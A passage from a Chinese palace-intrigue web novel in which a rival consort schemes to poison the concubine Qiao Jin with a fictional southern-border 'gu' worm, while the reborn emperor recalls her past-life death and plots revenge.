泪水坠落在暖玉上的瞬间,乔瑾才惊觉自己竟红了眼眶。 她慌忙抬手去擦,指腹却触到一片濡湿,连带着鬓边的碎发都沾了水汽。 这莫名的委屈从何而来? 是怨他前几日的冷漠,还是怕此刻的温柔只是镜花水月? “娘娘?”绿萝的声音在殿门外响起,伴随着轻轻的叩门声,“奴婢回来了,给您带了御膳房新炖的银耳羹。” 乔瑾深吸一口气,将暖玉塞进被下,又用锦帕快速拭去泪痕,才哑着嗓子应道:“进来吧。” 绿萝端着白瓷碗走进来,见她侧脸对着窗,鬓角的碎发有些凌乱,不由关切地问:“娘娘怎么了?可是哪里不舒服?”她将银耳羹放在床头小几上,伸手想去探乔瑾的额头。 “没事。”乔瑾偏头避开,声音里还带着未散的鼻音,“只是看这夕阳……有些晃眼。” 她望着窗外渐渐沉下去的晚霞,橘红色的光将宫墙染得绚烂,却也转瞬即逝,像极了君景珩给她的恩宠。 绿萝狐疑地看了看天色,夕阳早已落尽,只剩几缕残云。 她瞥见乔瑾攥得发白的锦帕,又想起方才去乾元殿时,陛下正对着一堆奏折皱眉,连暖玉都只是随手放在案头,只淡淡说了句“知道了,让她好好歇着”,那语气平静得不见波澜。 “娘娘,”绿萝斟酌着开口,将银耳羹舀了一勺吹凉,“陛下让奴婢转告您,说……说今晚可能不过来了,让您别等。” 她留意着乔瑾的脸色,见她指尖猛地一颤,碗里的银耳羹晃出几滴,落在衣襟上,洇出一小片水迹。 乔瑾没说话,只是望着那片水迹慢慢变深,像极了刚才那滴落在暖玉上的泪。 原来如此——前一刻的温存还未散去,下一刻的疏离便已到来。 果然是帝王心,深不可测如九重宫墙,她永远猜不透墙那边的人,何时会对她展颜,何时又会将她隔绝在外。 “知道了。”她终于开口,声音轻得像一片羽毛,“放下吧,我不想吃。” 绿萝欲言又止,最终还是将白瓷碗放在小几上,低声道:“那奴婢先出去,娘娘若想喝水,就唤奴婢一声。” 她退到殿门时,忍不住回头望了一眼——乔瑾依旧维持着那个姿势,望着窗外沉沉的暮色,背影单薄得像随时会被风吹散。 殿内重新陷入寂静,只有角落里的自鸣钟滴答作响。 窗外的天色彻底黑了,宫灯次第亮起,将君心殿的窗纸映出朦胧的光晕。 乔瑾慢慢躺下,拉过锦被蒙住头,却挡不住心底那股越来越浓的迷茫与寒意。 第一百五十九章 缠心蛊 紫禁城的暮春,雨丝绵密如愁,将咸福宫西配殿的檐角洇染得一片湿冷。 宁贵嫔攥着帕子的手指微微发颤,眼前的鎏金熏炉正吐着龙涎香的轻烟,却驱不散她眉宇间的焦灼。 她抬眼望向斜倚在软榻上的女子。 周筱竹一身南疆特有的银线织锦短襦,袖口翻出的猩红色锦缎上绣着蜿蜒的赤练蛇纹样,腕间的银镯随着她抬手的动作发出细碎的声响。 她垂眸拨弄着鬓边一支嵌着墨绿宝石的银簪,唇角勾起的弧度带着几分讥诮,眼波在宁贵嫔焦躁的脸上转了一圈,才慢悠悠开口,声线如淬了冰的玉:“妹妹这爪子,是恨不得立刻伸到君心殿去挠人了?” 宁贵嫔被她瞧得一怔,随即快步走到榻边,裙角扫过地上的青砖,发出细微的摩擦声:“姐姐!” 她压低声音,语气里裹着按捺不住的急切,“您是不知道,这几日乔瑾那贱人失了圣宠,连晨昏定省都免了,正是千载难逢的机会!若是再等些时日,皇上指不定又被她勾了去……” 她想起前日在御花园远远瞥见的乔瑾,素衣荆钗,形容憔悴,那副失魂落魄的模样让她心头大快,可也怕这转瞬即逝的时机如指间沙般溜走。 “上次您说的‘缠心蛊’,不是正需趁她心神动荡时下蛊才最有效吗?如今她忧惧交加,正是……” “着什么急?”周筱竹终于抬了眼,那双眸子在昏暗光线下泛着幽冷的光,像是盯着猎物的毒蛇,“紫禁城是南疆的十万大山?这机会是路边的野草,想拔就能拔?” 她顿了顿,指尖划过榻边小几上放着的一个黑木匣子,匣盖上刻着繁复的蛊纹,“何况这‘缠心蛊’,是南疆万蛊窟里用三十三具处子骸骨温养三年的阴物,岂是说有就有的?” 她的声音陡然转冷:“你当那蛊虫是灶台上的蚂蚁,随便捏一只就能往人身上放?没了引子,没了时辰,没了那人贴身之物做媒介,便是把蛊虫放在她面前,也只会反噬自身!” 宁贵嫔被她一番话说得脸色发白,却仍不甘心:“可……可机会难得啊姐姐!上次她有皇后护着,身边宫女寸步不离,如今她形单影只,连伺候的人都换了生手,正是我们动手的好时候……” 她想起自己进宫这期间,她在宫中忍气吞声,乔瑾一得宠便处处压她一头,如今这翻身的机会就在眼前,如何能不心急? 周筱竹看着妹妹因急切而微微扭曲的面容,眼底掠过一丝不易察觉的厌烦,却又很快被算计取代。 她缓缓坐直身子,银镯碰撞的声音在寂静的殿内格外清晰:“机会不是没有,只是要看会不会抓。” 她伸手打开那黑木匣子,里面铺着一层暗红色的丝绒,中央静静卧着一只指甲盖大小的虫豸,通体青黑,背上却有一圈诡异的血色纹路,正微微蠕动着,散发着一股若有似无的腥甜气。 “缠心蛊早已备下,”周筱竹的指尖悬在蛊虫上方,语气带着一丝诡秘,“只差一味引子——乔瑾贴身佩戴的物件,最好沾染过她的精血。” 宁贵嫔的眼睛瞬间亮了:“她贴身的东西……我记得她常年戴着一支玉簪,是入宫前就有的,从不离身!” “玉簪?”周筱竹嘴角勾起一抹冷笑,“那就想办法把它弄来。不过,”她话锋一转,眼神锐利如刀。 “君心殿如今虽说失了势,但毕竟还没倒,那些新换的宫人里,保不准就有皇后安插的眼线。你若是毛毛躁躁地去抢,惊动了旁人,别说下蛊,咱们姐妹俩能不能在这宫里活下去都是个问题。” 她顿了顿,目光落在窗外淅淅沥沥的雨幕上:“三日后,是月神诞,各宫都要去太庙祈福。乔瑾虽失宠,按例也得去。届时人多手杂,你想办法引开她身边的人,我自有法子取那玉簪。” 宁贵嫔的心提到了嗓子眼:“姐姐……这事儿能成吗?” “成不成,就看你有没有这个胆子。”周筱竹合上木匣,那股腥甜气瞬间被隔绝,“记住,从现在起,收敛你的急切。越是心急,越容易露出马脚。” 她站起身,走到窗边,望着远处长春宫的方向,眼神幽深,“乔瑾这朵盛极一时的花,也该让她尝尝,什么叫从云端跌入泥沼的滋味了。” 殿内重新陷入寂静,只有雨声敲打着窗棂,如同催命的鼓点。 宁贵嫔看着姐姐冰冷的背影,心中既有即将复仇的快意,也掠过一丝莫名的寒意,仿佛那匣中的缠心蛊,已经开始在她心底悄然蠕动起来。 —— 乾元殿内的鎏金兽首香炉早已燃尽了最后一炉安息香,唯有案头的青铜烛台仍跳跃着豆大的烛火,将君景珩负手而立的身影映在冰凉的金砖上,拉得格外萧索。 他指尖无意识地摩挲着腰间玉佩——那是乔瑾亲手为他系上的,如今玉质尚温,心头却似被冰锥狠狠凿穿。 “陛下,”殿角垂落的玄色帷幔无风自动,一道黑影如鬼魅般单膝跪地,玄色劲装肩背处还凝着未化的边疆寒霜,“属下回来了。” 君景珩猛地转身,龙袍下摆扫过地面发出猎猎声响,烛火被气流激得晃了晃,映得他眼底的红血丝愈发清晰。 他甚至没看清暗卫脸上的风尘,劈头便问:“南疆那边如何?缠心蛊的解法,可找到了?!”声音因过度急切而微微发哑,带着不容置疑的压迫感。 暗卫额头抵着冰冷的金砖,声音带着长途奔波的疲惫:“启禀陛下,属下率人寻遍南疆万蛊窟周边的苗寨,亦审问了数名蛊婆……” 他顿了顿,喉结艰难地滚动,“缠心蛊乃南疆至阴至邪之蛊,千年方出一例,典籍记载极少。民间传言此蛊以宿主心神为食,中蛊者会日渐衰颓,直至心脉被虫豸啃噬殆尽……” “我问的是解法!”君景珩猛地踏前一步,龙靴重重砸在地上,案上的奏折被震得散落,“少与朕说这些!到底有没有解!” 他想起梦中乔瑾日渐苍白的脸,想起她强撑着对他笑时眼底的灰败,胸腔里的焦躁几乎要破体而出。 第一百六十章 忆起 暗卫身子一颤,沉声道:“有……只是……” 他抬起头,脸上混着泥污与血痕,神情极其复杂,“据一位隐居的老蛊婆所言,缠心蛊唯有两种解法:一为寻得‘忘忧草’与‘还魂花’共熬七日,以活人心血为引;二……二则需施蛊者心甘情愿献出心头血,引蛊虫离体。” “施蛊者心头血?”君景珩喃喃重复,指尖狠狠攥住腰间玉佩,玉棱硌得掌心生疼。 暗卫低头道:“老蛊婆言,施蛊者需以自身精血喂养蛊虫三年以上,且下蛊时需以宿主贴身之物为引。此外……中蛊者心脉受损时,施蛊者指尖会泛起不易察觉的青黑。” “贴身之物……”君景珩猛地想起乔瑾那支从不离身的白玉簪,三日前他去君心殿时,竟见她发髻上只插着一支寻常木簪。 “去!”他猛地转身,指向殿外,“立刻查清近一个月内,有谁接近过长春宫,又有谁曾与南疆来人有过交集!尤其……宁贵嫔宫中的周姓女子!” 暗卫领命正欲退下,却听君景珩又沉声补充:“还有,派人盯着太医院,若有任何关于‘忘忧草’‘还魂花’的异动,即刻报朕。” 他走到窗边,推开沉重的雕花木窗,夜风吹散了殿内的焦灼,却吹不散他眼底的杀意。 “缠心蛊……”他望着漫天星斗,嘴角勾起一抹冰冷的弧度,“不管是谁下的蛊,朕定要让她……血债血偿。” 殿外的更漏敲过三更,远处君心殿的方向隐有灯火摇曳。 君景珩知道,在找到解药之前,他必须先化身猎手,将藏在暗处的毒蛇一一揪出。 夜漏更深,君景珩坠入混沌梦境。 帐顶龙纹在昏暗中扭曲,恍惚间,乔瑾含笑的脸近在咫尺,他伸手想去触碰,心口却猛地窜起一阵灼痛,那痛楚如附骨之疽,瞬间蔓延至四肢百骸。 他眼睁睁看着自己指尖在离她脸颊寸许处僵住,喉间涌上腥甜——原来如此……上一世,他与她之间那道无形的屏障,那每逢亲近便发作的剧痛,竟是这该死的蛊毒! 梦境骤转,是君心殿紧闭的朱门。 他记得自己当时红着眼下令禁足,语带狠厉,实则是怕那无形的危险再靠近她半分。 “等我回来。” 他拂袖而去时,未曾回头看她眼底的落寞。 寻遍南疆奇人,踏破万里河山,解药的方子终于到手,他策马狂奔,龙袍被风吹得猎猎作响,心中只有一个念头:央央等急了。 可推开君心殿的门,迎来的不是她怯生生的呼唤,而是满室死寂。 她躺在冰冷的凤榻上,素白的裙裾染着触目惊心的红,那双总是含着水光的眸子,再也不会为他亮起。 “啊——!” 君景珩猛地从榻上弹坐起来,冷汗浸透了明黄色的寝衣,胸腔剧烈起伏,心口那熟悉的钝痛竟也随之而来,与梦中的灼痛重叠。 他喘着粗气,指尖深深掐入掌心,才勉强分辨出今夕何夕。 在梦中他又梦到在地牢深处,潮湿的霉味混杂着血腥气扑面而来。 火把的光忽明忽暗,映照着角落里那个蜷缩的身影。 宁贵嫔曾经的花容月貌早已被狱中岁月啃噬殆尽,头发枯槁如草,衣衫破烂不堪,裸露在外的肌肤布满青紫伤痕,唯有一双眼睛,在昏暗中亮得惊人,像淬了毒的蛇信。 君景珩一步步走近,玄色龙靴踏在泥泞中,发出沉闷的声响。 他居高临下地看着她,声音冷得像淬了冰:“是你?那蛊毒,是你下的?央央的死,也是你一手策划?”每一个字都像是从牙缝里挤出来,带着无尽的恨意。 宁贵嫔缓缓抬起头,干裂的嘴唇扯出一个诡异的笑容,声音沙哑得如同砂纸摩擦:“皇上?呵……你还认得臣妾啊。” 她咳了几声,浑浊的眼睛死死盯着君景珩,“是又如何?不是又如何?” “为何?”君景珩猛地攥紧拳头,指节泛白,“她从未碍着你,你为何要置她于死地?” “碍着我?”宁贵嫔突然尖利地笑了起来,笑声在空旷的地牢里回荡,凄厉又疯狂,“皇上坐拥三宫六院,却独独把一颗心都捧到乔瑾面前!她凭什么?凭她那张狐媚的脸,还是凭她那副楚楚可怜的样子?” 她挣扎着想要站起来,却被铁链死死拽住,重重摔回原地,“你宠她,爱她,恨不得把天上的星星都摘给她,可你保护得了她吗?” 她的声音陡然拔高,带着歇斯底里的怨毒:“你连她的命都护不住,还敢说宠爱?你这无能的帝王!活该!你活该失去她!” “你闭嘴!”君景珩怒喝一声,眼中血丝密布。 “我偏要说!”宁贵嫔像是豁出去了,不停地咒骂着,“乔瑾那个贱人,死得好!她就不该占着你的宠爱!你看看你现在这副样子,像条丧家之犬!这都是你自找的!是你害了她!” “够了!”君景珩气急攻心,一脚踹在旁边的木架上,木架应声而倒,上面的刑具散落一地,发出刺耳的碰撞声。他指着宁贵嫔,气得浑身发抖:“朕杀了你!朕现在就杀了你!” 宁贵嫔却像是听到了什么天大的笑话,笑得更加癫狂,眼泪混合着脸上的污垢滚落:“杀了我?皇上,你杀了我,乔瑾就能活过来吗?你能弥补你的过错吗?” 她的声音陡然低了下去,带着一种近乎诅咒的笃定,“你不能。你会一辈子记得她死在你怀里的样子,一辈子活在悔恨里……” 君景珩的心脏像是被一只无形的手狠狠攥住,痛得他几乎无法呼吸。 宁贵嫔的话像一把把淬毒的尖刀,精准地刺中他最深的伤口。 是啊,杀了她又如何?央央再也回不来了。 那个会在桃花树下对他笑,会在他批阅奏折时悄悄递上一盏热茶,会在受了委屈时咬着唇不敢哭的姑娘,永远地离开了他。 他看着宁贵嫔那张扭曲的脸,突然觉得无比疲惫。 所有的愤怒、恨意,在乔瑾冰冷的尸体面前,都显得那么苍白无力。 第一百六十一章 后悔 “拖下去。”君景珩闭了闭眼,再睁开时,眼中只剩下一片死寂,“废去她所有位份,打入天牢最底层,让她……活着赎罪。” 他不要她死得那么痛快,他要她在无尽的黑暗和悔恨中,一点点消磨掉最后一丝气息。 侍卫上前拖拽宁贵嫔,她还在不停地咒骂着,声音越来越远,最终消失在地牢深处。 君景珩独自站在原地,火把的光映在他脸上,明明灭灭。 地牢里只剩下他沉重的呼吸声,和那挥之不去的霉味与血腥气。他缓缓蹲下身,双手捂住脸,肩膀抑制不住地颤抖。 “央央……”他低声呢喃,声音破碎不堪,“是我错了……我不该把你一个人留在那里……我不该……” 泪水从指缝间渗出,滴落在冰冷的地面上,晕开一小片水渍。 许久,他才站起身,踉跄着走出地牢。外面的月光清冷如水,照在他身上,却驱不散半分寒意。 他抬头望向天空,繁星点点,却没有一颗是属于乔瑾的。 回忆到这里,他也没有心情再睡。 他走到墙边,那里挂着一幅未完成的画,画的是桃花树下的乔瑾,眉眼弯弯,笑靥如花。 他拿起画笔,指尖却不停地颤抖,怎么也落不下去。 “这一世,”君景珩对着空无一人的大殿,一字一顿地说,“朕绝不会再让任何人伤害你。” 他想起这一世的乔瑾,此刻应该正在君心殿安睡。 他现在就想见到他,悄悄的走了出去,放轻脚步,一步步走向君心殿。 推开门,月光透过窗棂洒在她脸上,她睡得很安稳,长长的睫毛像两把小扇子。 君景珩在床边坐下,静静地看着她,眼中是失而复得的珍视和小心翼翼的疼惜。 他伸出手,想要触碰她的脸颊,却在半空中停住,想起了梦中的蛊毒。 “放心,”他低声说,像是在对她说,又像是在对自己说,“这一世,朕定会护你周全。那些伤害过你的人,朕一个都不会放过。” 他守在床边,一夜未眠。 直到天快亮时,乔瑾翻了个身,迷迷糊糊地睁开眼,看到他,吓了一跳:“皇上?您怎么在这里?” 君景珩勉强挤出一个笑容,声音带着一丝沙哑:“朕……看你睡得香。” 乔瑾揉了揉眼睛,没多想,只是打了个哈欠:“皇上快去歇息吧,不然一会儿又该没精神了。” “好。”君景珩点点头,起身离开了君心殿 走出君心殿,他脸上的笑容瞬间消失,取而代之的是一片冰冷的决绝。 他对着暗处的影卫吩咐道:“查,给朕彻查宁氏一族,还有……有没有谁接触这蛊毒。” 影卫领命退下。 君景珩望着初升的朝阳,眼中闪过一丝厉色。这一世,他不仅要护住乔瑾,还要让所有欠了她的人,付出惨痛的代价。 乾元殿的檀香燃到了尽头,最后一缕青烟贴着金砖地面蜷了蜷,终究散了。 君景珩独自坐在龙椅上,指尖摩挲着案上一本摊开的奏折,宣纸边缘被他捻得发皱。 殿内空旷,日影从雕花窗棂移到梁柱,又悄悄爬向阶前,他却像没察觉时辰流逝,目光落在奏折上,眼底却空茫得很。 宁贵嫔在地牢里的咒骂还在耳边回响,那淬了毒般的字句里,藏着的何止是怨,更是太后递过来的一把刀。 他捏紧了拳,指节泛白——若论私怨,此刻就该将那毒妇拖到午门腰斩,祭奠阿瑾上一世的惨死。 可指尖的凉意顺着血脉漫到心口,让他猛地清醒。 宁贵嫔再不堪,也是太后的侄女,是太后在后宫安插的最利的钉子。 太后背后的宁氏外戚盘根错节,前朝几位老臣与宁家联姻,牵一发便要动全身。 若是此刻贸然处置宁贵嫔,太后定会借“帝上苛待妃嫔”为由发难,宁氏党羽再在朝堂上煽风点火,届时不仅扳不倒宁家,反倒会让他们抓住把柄,甚至可能牵连到央央…… 他松开拳,掌心留下几道深深的月牙痕。罢了,直接处置,太便宜他们了。 君景珩缓缓抬眼,望向殿外沉沉的宫墙。日影已斜,将他的影子拉得极长,落在龙纹地砖上,像一道无声的冷笑。 宁贵嫔不是擅长用蛊毒么? 不是觉得暗箭伤人最得计么? 那便让她尝尝,自己种下的毒,是如何反噬自身的。 这个念头浮上来时,他脸上没什么表情,唇角甚至微微勾起一点,只是那笑意半点没到眼底,反倒像结了层冰。 心冷得像浸在腊月的寒潭里,连带着殿内的空气都仿佛降了温。 “来人。”他扬声唤道,声音在空殿里撞出回声,不高,却带着不容置疑的威严。 暗卫从梁柱后现身,单膝跪地:“陛下。” 君景珩指尖在案上敲了敲,节奏缓慢,却像敲在人心上:“去南疆,找一个叫‘鬼医’的人。告诉他,朕要一种‘子母蛊’,母蛊需得能被施术者掌控,子蛊……要能悄无声息附在血亲身上。” 暗卫一怔,抬头看了眼君景珩的侧脸。帝 王的下颌线绷得极紧,侧脸在斜光里一半明一半暗,那双眼里的冷意,比地牢的寒铁更甚。 他不敢多问,低低应了声“是”,身影一闪便没了踪迹。 君景珩重新看向那本奏折,却一个字也看不进去。 宁贵嫔是太后的侄女,血脉相连,这子母蛊,正好让她们“同气连枝”。 宁贵嫔想用蛊毒害人,那便让她亲手将子蛊送到太后身边——他甚至不用亲自动手,只需在恰当的时候,让母蛊发作。 届时,太后病重,宁贵嫔难辞其咎。 太后的外戚们见靠山将倾,定会忙着自保,谁还会为一个失了势的贵嫔出头? 甚至可能为了撇清关系,主动揭发宁贵嫔的罪责。 他缓缓起身,走到殿门口。 晚风吹起他的龙袍下摆,带着殿外玉兰的冷香。 远处宫墙连绵,像一张密不透风的网,而他,必须做那个织网的人,才能护得住网中心的那一点暖。